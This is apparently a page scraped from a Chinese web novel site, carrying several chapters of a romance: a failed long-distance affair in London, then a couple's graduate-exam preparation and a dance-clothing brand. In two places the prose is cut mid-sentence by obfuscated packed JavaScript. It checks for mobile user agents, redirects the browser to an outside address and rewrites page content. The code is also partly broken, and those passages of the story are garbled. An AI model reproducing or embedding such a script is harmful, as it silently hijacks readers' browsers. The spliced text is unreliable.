诚然,这件事是他的错,他愿意认,但沈奕岚过激的反应让他觉得,自己是个脏东西,她不想跟他沾边。 再后来,他听说了沈奕岚的遭遇。 一个装模作样的人渣前夫,一场精心算计的糟糕婚姻,一个不把女儿当回事的冷漠母亲。 李听墨从来没听说过这样的悲剧,更无法想象,悲剧发生在了沈奕岚身上。 或许是她蓬勃到快溢出来的生命力让李听墨忽视了一件事,有些人的生命力来自被保护得太好,从小到大没受过像样的打击,比如他自己,而有些人的生命力是在摧毁中诞生的,因为死过无数次,所以才能真正地活着,比如沈奕岚。 狂风暴雨都熄不灭的烛火,光芒自然永恒。 李听墨有过很多心动的瞬间,比如妮可在阳光下自在的笑,比如Luna收到礼物时甜丝丝的笑。 但让他觉得荒唐的是,这次的心动,居然是因为遥遥看见的,沈奕岚的那一滴泪。 留在默恩岛的这几天,他非常真诚地向沈奕岚道了歉,跟在她身后“当牛做马”,沈奕岚说东他绝不往西,顺便向阿尔里克学了不少摄影知识。 沈奕岚不是不讲道理的人,她也知道李听墨只是还不够成熟,做事说话都太莽撞。 好好相处下来,李听墨发现跟着沈奕岚还挺舒服的,只要不触碰她的雷区,她就很好说话,而且见多识广,知识面丰富,什么话题都能聊上几句。 李听墨偶尔开个玩笑,她也能接住他的梗。 得知沈奕岚喜欢过温让,李听墨并不惊讶,温让那样一个对谁都彬彬有礼,斯文沉静的人,不喜欢他才不正常吧。 可他也意识到,自己和温让的差距有多悬殊。他清楚意识到,现在的自己还不足以让沈奕岚心动。 Jakob发现自己的好哥们儿变了,虽然他们还是保持着喝酒打篮球聊心事的兄弟情谊,但李听墨变得爱学习了。 他在家里办party,李听墨居然抱了几本专业书在学习,他像看神经病一样盯着李听墨,半个小时过去,李听墨的目光依然专注在书本上,丝毫没有要跟他们喝酒玩乐的意思。 身边的朋友问Jakob,李听墨出什么问题了? Jakob耸耸肩,“谁知道,可能现在走好学生路线了。” 李听墨本科念的经济学,不出意外,将来也是跟他父母一样,从事外贸之类的国际商务工作。 他的成绩从小到大都是中上,差不到哪儿去,高中快毕业的时候努了把劲申上了哥大,他的人生就是这样,只要稍微努力就能得到想要的一切。 成绩是这样,恋爱也是这样。 所以他理所当然地以为,只要努力了,就能得到沈奕岚的欢心。 后来家里出事,回了趟国,等到纠纷解决,他发消息给沈奕岚,发现对方的手机号已经更换了,他找到沈奕岚所在的学校,工作人员告诉他,沈奕岚已经离职,据说之前有个男人跑到她学校来闹,还闹到警察局去了。 李听墨通过沈奕岚的ins账号,找到了阿尔里克,跟他私聊后,得知沈奕岚现在在英国朋友家里,为了躲她的前夫雷永安,她换了手机号。 在李听墨的再三恳求下,阿尔里克联系了沈奕岚。 沈奕岚没有让李听墨接电话,只让阿尔里克带给他一句话,羽翼还未丰满,不要总想着儿女情长。 “那什么时候才能想?”李听墨反问。 阿尔里克挂掉电话,转述道:“等你足够强大。” 从此以后,李听墨彻底变了样,很少出现在学校的人现在天天泡图书馆,熬了许多个大夜补回落下的功课,拒绝了所有无意义的派对和旅行,也拒绝了女孩们的邀约和求爱。 他不再苦心积虑穿搭,简单的T恤长裤鸭舌帽,双肩包里装着沉甸甸的电脑和书本,耳机里放着的是英语经济新闻。 他要拿到全A,他要成为专业前三,他要漂漂亮亮地结束自己的学生生涯,迎来崭新的21岁,重新出现在沈奕岚面前的时候,他希望自己是优秀的。 起初,Jakob只当他是当运动潮男当累了,想要换种nerdy风格,渐渐地他发现李听墨不是闹着玩儿,他是认真的。 “我有了喜欢的人,她很优秀,我需要快点成长。”李听墨是这样给Jakob解释的。 “女孩?还是女人?” “女人。” “兄弟,那你的麻烦大了。” “不是你说的吗?”李听墨笑笑,“我迟早遭报应。” 沈奕岚就是他的报应。 七月末,李听墨过完了生日,第二天就飞往伦敦。 西欧二十度左右的天气很舒服,降落在希思罗机场是傍晚,晚霞铺满天际,又被机场的窗格切割成条状,每一格都是不同的色彩,和李听墨的心情一样斑斓。 这几个月一有时间,他就去找阿尔里克,阿尔里克受不了他这黏人又好学的劲儿,给他免费当了几个月的摄影老师。 一开始想取得阿尔里克的信任,的确另有目的,但后来,跟着阿尔里克跑了几座城市拍日出和星空,他们在大自然中慢慢相处,也慢慢混成了志趣相投的好朋友。 阿尔里克看到了他的变化,在征求沈奕岚同意后,给了李听墨一个地址。 乘地铁到Vauxhall区,这边汇集了不少名校,来来往往的都是学生居多,李听墨一身简单的打扮,混迹在其中,也和大学生相差无二。 阿尔里克发给他的地址停在泰晤士1号公寓,没有详细的楼层房号。 他站在这顶级公寓门口等了许久,直到天幕落了黑,也没看到想见的人,他转过身,朝泰晤士河岸走去。 “李听墨,你去哪儿?” 时隔数月没有听到的声音重新回到耳畔。 他猛地回过头,女人穿着舒适的吊带长裤人字拖,牵了一条巧克力色的拉布拉多,长发剪到了齐肩的长度,染成了橘子色,很像今天晚霞的颜色。 “沈奕岚?” 女人抱起胳膊,朝他笑,“怎么?认不出来了?看书把你那一双火眼金睛给看近视了?” “这么毒的嘴,除了你还能是谁。”明明来之前还在心里警告自己,不可以再像之前那样嘴犟,但一见到沈奕岚,他就控制不住。 “酒店订哪儿了?” “没订,住你家。” “滚吧你。” 沈奕岚对他还是这么不客气,就连拉布拉多都冲着他吼叫了几声,“看到没,我儿子不欢迎你。” “没事,等我当了他爸爸就好了。” “……你真贱。” “还行吧,比起之前,我已经收敛很多了。” 沈奕岚当然不会带他回公寓,见他只背了个双肩包,问道:“包重吗?” “不重。” “那帮我遛遛狗。”说完,沈奕岚就把绳子交给他。 李听墨乖乖接过,见女人转身就走,忙问道:“那你呢?” “上去拿件外套。” 李听墨单手从书包里扯出一件衬衫,“不用了,我带着的,你穿我的吧。” 沈奕岚见他一脸诚恳,倒也没再拒绝,随手套上宽大的衬衫,拢了拢,“太大了。” “行了,将就穿吧。” 被沈奕岚瞪了一眼,李听墨立马闭了嘴。 两人沿着日落后的泰晤士河岸慢悠悠地逛着,默契让他们不需要刻意找话题,随意聊聊彼此的近况就足以对付这漫长的夜。 后来,小狗累了,人也累了,经过一家露天酒吧,爵士乐队正在驻唱,他们在吧台点完单,在外面找了处没那么喧闹的座位坐下来。 隔壁是一对贴在一起坐着的白人男女,看不出来是情侣或是别的关系。 但可以肯定的是,像李听墨和沈奕岚这样既暧昧又疏离的关系,不是在dating,就是准备dating。 泰晤士的游船经过,李听墨嗅到了晚风吹到他面前的,属于沈奕岚的芬芳。 “阿尔里克说,你在这边申请了二硕,是和摄影相关的,是吗?” “对。”沈奕岚看向那艘游船,“你也知道,我这人安定不下来,换个地方也能过得很好。” “那很巧了,我和你一样。” “是吗?你现在毕业了,有什么打算?” “先去我爸妈的公司做一段时间,积累经验后,再自己出来单干。” “什么时候入职?” “九月。” “你的意思是,你要在这边呆到九月?” “对。” 沈奕岚无语地笑了,“这位刚毕业的大学生弟弟,姐姐可没时间陪你慢慢玩儿。” “没关系,你做你的事,我不需要你陪我。” “哦?” 李听墨仰头饮了口酒,冰凉酒液下肚,头脑开始昏聩,他倾身过去,紧紧注视着沈奕岚那双没有情绪的眼睛,“你只需要,等我把你追到手。” “我很好奇,你喜欢我什么?” “不知道。” “不知道还追什么?” “我做事只凭心意。” “李听墨,我俩一点儿都不适合,你想清楚。” “没什么适不适合,只有用不用心。” “行,随便你。” 于是接下来的两个月时间,沈奕岚头一次感受到属于二十出头年轻男子身上那股不服输的劲。 李听墨不怕被拒绝,不怕被冷落,凭着一腔年少轻狂的悸动,奋不顾身地呈上自己热忱的心意。 他知道沈奕岚在顾及什么,也知道创伤留给她无穷尽的不安全感,他能做的就是无论沈奕岚说什么做什么,他尊重,但绝不放弃。 约她去electriccinema看电影,被沈奕岚以外出拍写真作业为由拒绝了,于是她刚走出校园,就迎上一张爽朗朝气的笑脸。 “我来给沈小姐拎包。” 约她去海德公园晒太阳,沈奕岚恰逢生理期。 李听墨问遍了周围的人,才从一个中国人开的医馆里买到红糖姜茶,他顺理成章进入了沈奕岚的公寓,提前精进过的厨艺总算有了用武之地,他照顾了沈奕岚三天,也是她最浮肿、最难熬的三天。 他又约她去逛街头的vintage店铺,沈奕岚的导师临时让她去一个艺术家的摄影展帮忙,在她忙得不可开交,差点被重重的展架砸着的时候,一个人护住了她的后背。 她把李听墨骂了一通,带他去医院做检查。 李听墨笑呵呵地听着,也不反驳,“我们这算是在医院约会了吗?” “闭嘴。” “好。” 荒芜太久的花园其实一直在下雨,是阳光硬要挤进来,于是杂草也鲜活,枯树也发芽,残花也等来了绽放的机会。 后来,他们真的去了electriccinema看电影,躺在海德公园的大草坪上野餐,伦敦街头的vintage店铺也被他们逛了个遍,买了一堆古着物件。 从伦敦眼走到威斯敏斯特,大本钟的钟声厚重而渺远。 他们伴着钟声,接了第一个吻。 先是一触即分,接着唇舌纠缠,分离着牵起一根细细的银丝。 “亲了我,是不是得对我负责了?”李听墨在她耳边低低地笑。 “我是不婚主义。”沈奕岚说。 “我不在乎。” “我也不会生小孩。” “我也不在乎。” “如果你和我的事业发生冲突,我会毫不犹豫地舍弃你。” 李听墨顿了顿,但还是抵着她的额头,无奈地说,“都随你。” “那就在一起。” 伦敦的阵雨和李听墨的吻一同落下,缠缠绵绵。 什么时候雨停,没人知道。 · 九月,这一年的最后一个季度开启。 李听墨的工作忙碌起来,但只要他有空,就会给沈奕岚打视频电话。 Jakob生日那天,他喝了很多酒,拨通电话的时候,他没注意到身边有几个女生正晃晃悠悠地要来找他玩游戏,其中一个还趴到了他肩上。 沈奕岚似乎并不在乎,当Jakob出现在镜头里,她还顺道说了声生日快乐。 Jakob很开心,嚷嚷着要李听墨下次带沈奕岚一块儿来玩。 第二天清醒过来,Jakob才严肃地问了李听墨一件事。 沈奕岚为什么不吃醋? 李听墨打着哈哈过去,“因为她对我保持基本的信任。” “也许她并不爱你。” “少来啊Jakob,挑拨我俩的感情呢。” “Timo,如果我比你年长七岁,我也不会选择你。”Jakob损起人来也是丝毫不留情面,“你太幼稚了,我想你的女朋友应该有很多选择才对,所以不爱你也很正常。” “有你这么当兄弟的?” “我说的实话,Timo,玩玩可以,别太当真了,我可不想看着你为一个女人痛哭流涕的样子。” “我有数,不用你说。” 他和Jakob多年的感情自然不会因为这一番话而破裂,同样的,他也不至于因此就怀疑沈奕岚。 公司一放假,李听墨就飞去伦敦找沈奕岚。 他们和普通情侣一样接吻□□,吃饭逛街,肉/体与精神的交流一个没少。 第一次□□,沈奕岚是紧绷的。 李听墨足够温柔,也足够有耐心,只要她眉头稍稍一皱,他就会停下来等她适应,沈奕岚的感受永远放在第一顺位。 一年的时间里,他们解锁了公寓的不同地点,不同姿势,灵魂与身体都越来越契合。 最后一次见面,李听墨躺在床上,聊着新一年的生日准备怎么过。 “我们可以去佛罗伦萨,等我把时间确定下来,我就把机票定了,攻略做了,你到时候只需要拎包出行即可。” 沈奕岚淡淡应道,“好。” “我一定要从佛罗伦萨带回一朵鸢尾花送给你。” “好。” 他以为是毕业设计的压力太大,沈奕岚才这么心不在焉,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336877|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他搂紧女人,哄了她很久,要她放轻松,天大的事都能过去的。 无意间,他跟Jakob提到这事,Jakob比之前更严肃了。 “兄弟,你确定她把你放在心上了吗?” “应该吧。” “你们交往的这一年,她向你表达过爱意吗?说过喜欢你、爱你这样的话吗?” 李听墨沉默了一会儿,“没有。” “她在床上主动吗?” “不主动。” “她考虑过你俩的未来吗?” “未来?” “比如工作、结婚什么的?” “她不结婚,至于工作……她还没定下来。” “Timo,我现在很笃定你被耍了。” “她只是对婚姻恐惧了而已。” “恐惧什么?她难道结过婚?” “嗯,但我不介意。” Jakob双手抱住头,不可思议地看着他,“你疯了吧?” “Jakob,你是我好兄弟,我希望你能信任我。” “我只知道,你现在为一个离了婚大你七岁的女人迷了心!这样的女人比你想象中更冷酷,只要你没有价值,立马就会被踹开!” 脑海里又响起沈奕岚的那句话:如果你和我的事业发生冲突,我会毫不犹豫地舍弃你。 “够了!” “兄弟,我今天必须骂醒你!” “你再说她一句,别怪我揍你。” Jakob冷静又绝望,“你为了她要揍我?” 李听墨烦躁至极,摔门离开了。 他连夜买了机票,来到泰晤士一号公寓门口,他却迟迟没有进去。 沈奕岚出来的时候,他戴着帽子躲到了一边。 “如果这是个好机会,我肯定会争取的。” 他听见沈奕岚在打电话。 “男朋友那边不重要,我跟他说过,我会以事业为主。” “好的,那先谢谢你了,事业对我来说很重要,请你放心,我一定会做好这件事。” “七月末吗?”沈奕岚似乎迟疑了一下,“也行,那我提前订机票。” 李听墨没再跟上去,也没问过沈奕岚这件事。 七月末,是他的生日。 他们约好要去佛罗伦萨。 沈奕岚要失约了,尽管她没有跟他提起这事。 他们的关系还是维持着原样,只是有什么东西慢慢变了。 飞到伦敦的次数在减少,打视频电话的频率也在减少。 他们会亲吻彼此,也会产生生理反应。 只是激情退却后,一切都归于平淡。 沈奕岚倒无所谓,她很享受这样的平淡。 提前一个星期,沈奕岚让李听墨取消了去佛罗伦萨的机票。 “抱歉,我有个很重要的项目要去趟巴黎,提前祝你生日快乐。” “没关系,你忙你的吧,到时候需要我送你吗?” “不用了,我朋友开车送我去机场。” “行。”他去了也没用,他在伦敦没车。 李听墨生日前一晚,沈奕岚登上了前往巴黎的飞机,一个多小时的航程,她一直在忙工作,身旁的同事问她为什么不趁这个时间休息,她只笑了笑说,要赶紧把工作完成,她还有件重要的事,不可以耽误。 落地是巴黎时间早上八点整,手机弹出一条讯息。 -沈奕岚,独角戏唱久了,谁都会累。 紧接着是第二条。 -分手吧,我们都放过彼此。 “Lilian?”同事扶住她微晃的身子,“还好吗?” “没事,低血糖了。”说完,她在包里摸索一番,果然摸到了李听墨留给她的巧克力。 她有低血糖,但是总不爱带零食,每次都是李听墨把一些糖果、坚果、巧克力之类的小零食放在她的包里。 巧克力的苦味在嘴里蔓延。 她怎么记得应该是甜的? 甜到发苦了吗? 她兀自摇摇头,在前往工作地点的计程车上,发出了最后一条给李听墨的消息。 -行,祝你未来一切顺利。 · 得知李听墨失恋,Jakob舍命陪君子,和他在哥本哈根的街头喝了个烂醉,保留着一丝清醒把人扛回家。 想想都惨,22岁生日当天分手,也就李听墨这贱骨头做得出来。 “好了兄弟,这下你的报应结束了,往后都是好日子。” 李听墨爬去洗手间,吐了个天昏地暗。 Jakob还没来得及进去收拾,他又摘下花洒,对着自己的脸乱冲一通,场面实在太混乱,Jakob从来没见过李听墨这么失控。 “你确实很爱她。”他摇摇头,“可惜,她并不爱你。” “为什么……我哪里不好……” “没有为什么。”Jakob说,“一开始就不喜欢你的人,你怎么指望让她像你爱她一样爱你?” “我以为努力就可以……” “努力是全天下最没用的东西,醒醒吧哥们儿。” 后来李听墨一个人去了佛罗伦萨。 背着旅行包,踏上463步台阶抵达百花圣殿的穹顶之端,俯瞰这座文艺复兴的艺术殿堂。 他在米开朗基罗广场看了佛罗伦萨的日落,其实和伦敦的日落没有什么区别,只是拍下的照片再没有可分享的对象。 乌菲兹美术馆人潮拥挤,里面的藏品都是沈奕岚曾和他分享过的。 他好像又听到了钟声,很淡很淡,也许是从心里传来。 时间在佛罗伦萨按下了文艺复兴的暂停键。 李听墨也像被时间诅咒了,他的感情暂停在二十二岁生日当天,自那以后,始终一个人。 沈奕岚的ins他还关注着,好像从他们分手后,她的ins也没再更新。 他们的合照还在,李听墨没舍得删除,沈奕岚也一样。 又是一年过去,李听墨去伦敦出差的时候,遇见了沈奕岚在伦敦艺术学院读书时候的同学,那个人也还认识他,估计是知道他俩分手的事,见面有些尴尬。 “她怎么样?”想了想,李听墨还是问出了口。 “听说留在意大利了,那边确实很适合开展艺术展览。” “意大利?不是法国?” “法国?哦你说的是去年我们学院跟巴黎合作的项目是吧?那个项目,Lilian本来就只答应跟一天的,她第二天就走了。” 一个可怕的想法让李听墨背脊发凉,“你当时也在?” “是啊,所以我才记得这么清楚。” “你还记得什么,可以告诉我吗?” 那人回想了一会儿,“她从佛罗伦萨带回了一朵鸢尾花。” …… 李听墨发了疯似的给沈奕岚打电话,对方始终未接。 泰晤士1号的公寓已经没有了她居住的痕迹,空空荡荡的房间,不知道下一个租户又是谁。 泰晤士的游船和以往一样缓缓开过,河岸的风还是那么潮湿柔和。 他又去了当年的酒吧,人满为患,没了他的一席之地。他就这样坐在台阶上,目睹着暮色四合,天色渐晚。 手机弹出来一条长长的讯息,李听墨等了很久都没敢点开。 直到酒吧乐队的演唱声停止,四周又归于寂静,他听到自己的心跳,缓慢的,绝望的。 于是他打开了讯息。 「你先招惹我,那么热烈地闯进我的世界,乱搅一通。当你的热烈散去,我本来安静的世界再也无法平静,你抽身离去,湖面的涟漪却一波接一波。大本钟的钟声原来有时差,当我的爱开始萌芽,你却已经等不及了。所以,李听墨,我很早就说过了,我们不适合,以后别再联系了。」 接着是第二条。 「还有,我真的爱过你。」 · 大本钟的钟声在他心里响了整整五年,他终于长到了沈奕岚初见他时的年纪。 五年后,李听墨实现了当初向父母许下的诺言,他开了家属于自己的国际商务公司,现在是行业里备受瞩目的年轻才俊。 他的未来面临着数不清的挑战和机遇,生意场上,敌人比朋友多。 走到今天,他也斩断层层荆棘。 面临过资金链断裂,也面临过朋友的背叛,每次绝处逢生都能扒掉他一层皮,然后开始新一轮的生长痛。 是从什么时候开始意识到成长并不是像上学时候努力冲刺绩点那样简单? 或许就是那些坐在办公室面临生活的一堆狼藉却无人可诉的寂静雨夜,或许是他辗转欧洲各国却始终避开意大利时冒出来的微妙念头。 成长,拼命地成长,直到有勇气面对过去的一切碎片。 二十七岁的李听墨站在伦敦的大本钟前,站在他和沈奕岚初吻的桥上。 细密的雨水又缠绵地落了下来。 隔着蒙蒙雨雾,一遍遍拨打无人接听的空号。 钟声杳杳传来,而他的心声,不再有回音。 “李听墨,你去哪儿?” 他苍茫回头,眼前除了雨,什么都没有了。 58. 温让&高幸 「学无止境」 高幸是在第二年六月份开始准备考研的。 在择校方面,她没怎么花功夫。南城大学的MBA本来在全国也是名列前三的,加上离家里也近,将来读研还不用住校,一举两得。 唯一不好的是,南城大学的报录比很低,达到了二十比一,而且去年还改了出题方向和参考书目,网上一搜南大MBA,几乎都是避雷贴。 好在温让在学校里打听了一下,南大MBA的导师很强,虽然年年都是考研大热门专业,但导师没有本科歧视,双非上岸的人也有很多,学习氛围很浓,总体来说,性价比挺高的。 他把打听到的消息告诉了高幸,两人商量了下,决定还是报考南城大学。 舞室那边离不开高幸,所以她必须要在备考计划之外安排一些看守舞室的时间。 “你可以在舞室把管综的视频刷完。”温让帮忙检查她的时间表,“数学交给我,每天晚上十点前都是我的教学时间,不过我相信你应该没问题,我看了下,数学基本都是高中内容。” “那就麻烦温老师了,你觉得六月开始备考会不会有点晚?” “只要效率高,这个时间一点都不晚。” 高幸的时间表从早上七点开始,到晚上十点半结束,中途除了吃饭,几乎没有休息时间。 温让有些心疼,“但你这样,会不会太累了?” “只要能上岸,累半年而已,有什么坚持不了的。” “好,家里的后勤工作你就先别管了,都由我来办。” “这样看来你也挺辛苦啊。”高幸坐在他腿上,“又是老师,又是保姆。” “无妨,等你上岸好好犒劳我就行。” “没问题。” 计划制定下来,实施就有了变数。 舞室上午是不排课的,高幸每天下午才过去,温让一大早就得去学校,两人都是各开各车,分头行动。 碰到舞室人多的时候,前台也很嘈杂,时不时就有人咨询课程,高幸根本没法专注地看管综视频。 加上今年年初,X岛舞室开了第二家分店,以青少年集训为主,她把常年带青训队的唐冉挖了过来驻店,如果两头跑,她的时间就更加不够用了。 唐冉听说她要考研,立刻帮忙出主意,在她的参考下,高幸又招纳了两个前台,这才把备考的时间勉强腾出来。 有了前台,她每周只用去两次舞室,其余时间都安心在家备考。 周末有温让在,她连饭都不用做,每天睁眼第一件事就是打开单词软件,先把当日的□□词汇任务过一遍,洗漱的时候人还不够清醒,但是没关系,逻辑老师的声音足够提神。 对高幸来说,英语算是最简单的一科,作为语言学的学生,本科期间也没少看英文文献,她的词汇量和语法基础很扎实,因此不用跟教学视频,直接刷真题,然后精读分析每一套题的完形和阅读,把错题的原因都记录下来,实在理解不了的地方再去网上搜索解题思路。 但不得不说,英语这玩意儿最变态的地方就在于,即使你读懂了整篇文章,也不一定能选对答案。 中国人最懂怎么为难中国人。 考研分大小年,大年的公共课题往往偏难,小年偏简单,好巧不巧,高幸今年就碰上了大年,她一根弦崩得死紧,一刻都不敢放松。 八月底,她的专业课和公共课已经详细过完两遍。 这还是温让头一次见到高幸这么投入一件事。 她学习有个很大的优势,可能高幸自己都不知道,她很容易陷入极度专注的状态。 现在的人大多数被手机上的碎片化信息影响,学习半小时,手就朝着手机伸过去了,然后被各个社交软件捕获,在虚拟世界度过了大半时间。 但是高幸不会。 她给自己计划三个小时的学习时间,那么这三个小时里,天塌下来都影响不到她。 她学习的时候不需要音乐辅助,不需要任何专注软件,就一本书,一只笔,一个笔记本,一叠草稿纸,用最原始方式,硬学。 实在累了,脑子转不动了,就铺张瑜伽垫开始做瑜伽或者普拉提,等到大脑休息够,又埋头书案。 所以高幸的效率也比一般人要高,一个月就能完成别人两个月的学习量,就连她的微信头像都换成了:考研中,勿扰。朋友们想约她出去玩,一看这头像,什么话都撤回去了。 两个月的时间吃透专业书,温让眼看着她学得头发都掉了不少,拉着她去游乐园放松了一天。 九月开始刷真题,高幸的状态时好时坏,温让几乎可以从她的饭量判断出来当天真题的正确率。 于是,小天使温让又承担起心灵导师的角色,安抚某位被真题狂虐的丧气女士。 “很正常的,别人说不定比你错得还多呢,还有三个月时间,来得及。” 要是换做以前,高幸肯定缩他怀里要抱抱了,但这次,高幸就跟打了鸡血一样,不给自己emo的时间,恶狠狠放话,“我emo一分钟,别人就会超过我一分,不行,我得继续学,你先出去。” 温让看了下时间,“但是宝贝,现在已经十一点了。” 高幸把她从网上9.9买来的“必胜”头巾系在额头上,“十一点,这才哪儿到哪儿。” “好吧,那我在床上等你?” “不用等了,我将和管综死磕到天亮。” “?” 一通猛学的下场就是十一月迅速进入倦怠期。 某天夜里,当高幸平躺在床上,淡淡地说出“不想考研了”这句话,温让立刻从床上弹了起来,他知道,该他发挥作用了。 “明天去露营。” “啥?” “装备我都准备好了。”温让说,“我在网上查了,你现在的症状就需要让大自然来治疗。” “不行,我昨天模考的分数还不够高。” “听我的,乖,调整完状态你才有精力冲刺。” “可是……” “明早上我叫你起床,现在先睡觉,晚安宝贝。” 温让说得没错,当他们开车逃离市区,在野外吃着烧烤,看着星空,高幸原本的忧郁心思全都烟消云散。 劳逸结合才能跑得更远。 这一趟露营直接让高幸的状态回到顶点,一直保持到初试前夜。 高幸对大型考试有种莫名的畏惧,或许是高考失利对她的影响太大了,她记得高考的那两个晚上整夜整夜睡不着觉。 温让考虑到了这一点,提前半小时就在房间里点好了助眠熏香,还给她放着轻音乐做全身按摩。 按摩完太阳穴,他听到了轻轻浅浅的呼吸声。确保高幸睡沉了,他才关灯上床,小心翼翼地躺在她身旁。 第二天一大早起来准备好早餐,然后送高幸去考场。 下车前,他亲了亲高幸的脸,“加油宝贝,你一定能上岸。” “等我的好消息。” · 出成绩那天,高幸还在舞室的前台,查分的手抖得连准考证号都输不了。 温让还没说话,莫听山在旁边急着开口了,“要不我来查?” “我来也行。”唐冉说道。 其他老师们也都围着高幸,给她打气,“快啊高高,youcandoit!手别抖啦!搁这儿跳popping呢?” “你们都不上课的吗?为什么都围着我!”高幸绝望地呐喊。 “什么?高老板在干什么?”一个学生路过问道。 “高老板考研了,这会儿在查分呢。” “卧槽,这么牛逼,考多少?” “手抖呢,还没查。” “那我也在这儿等着。” 高幸更崩溃了,正要求助温让,却看到男人捧着手机,笑意慢慢从嘴角爬上眼角。 “279。” “?” “阿幸,你的分数是,279。” 高幸愣了两秒,随后爆发出尖叫,“啊啊啊啊啊啊!!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336878|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “不太懂,这分数是太高还是太低?”唐冉小声问道。 “这俩人都抱在一起了,你说这分数什么水平。”莫听山损了她一句。 “如果是考的管综,那是相当牛逼的水平了。”学生说道。 “极可能是初试第一的水平。” “我这三斤没白掉。”高幸松开温让。 “你备考半年呢,就瘦了三斤?” “那咋了!那掉的不也是肉吗?” 说完,高幸又猛地冷静下来,“不行,南城大学的复试五五开,我不能掉以轻心。” 初试成绩出来的第二天,高幸又开始在全网搜索复试攻略,制定新的计划。 温让给她推了几个学长学姐的微信,“他们都是上一届的考生,复试相关问题,你尽管问,人都挺好的。” “好嘞!” 离自己的目标又近了一步,高幸干劲满满。 “放轻松,我都说了你可以的。” “温老师,从明天开始,你每天晚上就穿正装,陪我模拟面试。” “我的身份是?” “复试导师。” “行。” 次日晚八点,模拟面试开始实施,两人都穿着规规矩矩的正装坐在书房。 先是英语问题,然后是中文问题。 一场下来大概花了半个小时左右,在高幸回答完最后一个问题时,温让松了口气,下意识说了句,“宝贝,我今天的领带太紧了,下次还是不系了。” 高幸刚才太沉浸,还没反应过来,被这一声“宝贝”雷得外焦里嫩。 温让解开领带,握在手里,“还要练吗?” “你说正经面试吗?” “嗯?”温让疑惑道,“还有不正经的?” 高幸眨了眨眼,单腿跪上书桌,衬衣绷起一条优美的线,钢笔挑起温让的下巴,“温老师,这样的面试喜欢吗?” 温让喉结滚动,微微眯起双眼,“温老师觉得,现在很热。” 音落,高幸的后脑勺就被按了下来。 嘴唇厮磨着,温让抬手解开她的纽扣,顺着仰起的脖颈,慢慢吻下去。 …… 四月初,高幸的学信网弹出一条消息。 一志愿报考结果通知 南城大学已发送一志愿待录取通知 六月末,南城进入盛夏,蝉鸣比三十七度的气温更让人燥热。 温让换下白大褂,摘掉手套,从实验室出来没一会儿就出了一身的汗。 午饭间隙,他拿到手机,第一时间点进高幸的朋友圈。 最新的一条发布于十分钟前。 一张深蓝色壳子包装下的录取通知书。 文案只有简单的四个字:学无止境。 点完赞,过了会儿,他又看到高幸自己评论了一句。 「上天不负有心人这句话,我隔了十年才听到回音,但好饭不怕晚,只要不放弃。」 温让正在打字回复她的评论,上方忽然弹出高幸的聊天框:最最感谢温老师,今晚我将奖励自己,也奖励你。 温让:怎么奖励?说来听听。 高幸:旁边有人吗? 温让拍了附近的照片:这个时间点只有我来吃午饭。 高幸:辛苦温老师了,也恭喜温老师又发了一篇SCI。 温让:学无止境,一起努力。 高幸:「图片」阅后即焚。 看着照片上穿着黑色微透真丝吊带睡裙的高幸,温让甚至不敢点开大图,从耳朵红到了脖子根。 高幸:温老师怎么不说话? 温让:温老师正在去买降火茶的路上。 高幸:几点回家? 温让:三十分钟后。 高幸:? 温让:上周没休,今天下午正好轮到我休息。 高幸意识到,自己可能闯祸了。 以温让这不经撩的性子,她恐怕无法度过一个平静的下午和夜晚。 59. 温让&高幸&高秋杨 「尽管往前走」 高幸从南城大学毕业后又申请了一所藤校进修一年,回国后因为舞室在南城的知名度越来越高,已经占据南城街舞的一席之地,她顺其自然开了第三家分店,接着是江城的第一家、第二家…… 后来,在舞室老师的建议下,她开始和一些街舞服装品牌合作,慢慢地尝试自己找设计师画图稿,再联系厂商做出成品,她在社交平台开设了舞室账号,分享舞蹈教学,也分享运动服装。 三年后,高幸顺利成立“X岛”个人服装品牌。 打理品牌不是件容易的事,好在她念书期间努力积攒了不少人脉,宣传到位、质量过关、价格亲民、尊重客户,这样的品牌要做起来不是件难事。 受众起初是舞室的学员,高幸给他们人手送了一套品牌的主打款服装,学员中不乏一些南城的网红,其中一些跟高幸关系比较好,主动帮她打了广告,于是受众开始从学员发展到一些网红的粉丝。 花屿是网上知名的“架子鼓仙女”,听说高幸创立了服装品牌,二话不说把她店里的款式全都下单了,有些是男款,她穿不了就让莫听山穿,两人合拍了不少试衣视频,很快在社交平台爆火,X岛的销量也迅速增加。 而这些都是在高幸不知情的情况下发生的。 温让也努力帮她宣传,他迈出的第一步,是把老婆的店铺发给了他认为最好说话的师弟。 温让:师弟,这是我老婆开的店,质量很好的,方便的话,你也可以推荐给你女朋友。 师弟回了个“好的师兄”,过了会儿,他把下单截图发了过来。 温让有些不好意思,但还是回了句:谢谢师弟,你跟女朋友商量了吗? 师弟:我给自己买的。 温让:? 师弟:师兄,有件事你不要跟别人讲,其实我也是跳爵士的…… 温让大吃一惊,想不到身边还有这等人才,师弟看上去斯文腼腆,背后竟然是个男爵,他又看了眼师弟买的衣服,清一色紧身露脐上衣,果然人不可貌相。 他还没消化完这让人震惊的事实,师弟又发了个视频过来:师兄,你让嫂子帮我看看,我这舞蹈水平能进她舞室做兼职老师吗?我很早就想问了……我很崇拜嫂子。 温让不敢点开,直接转发给了高幸。 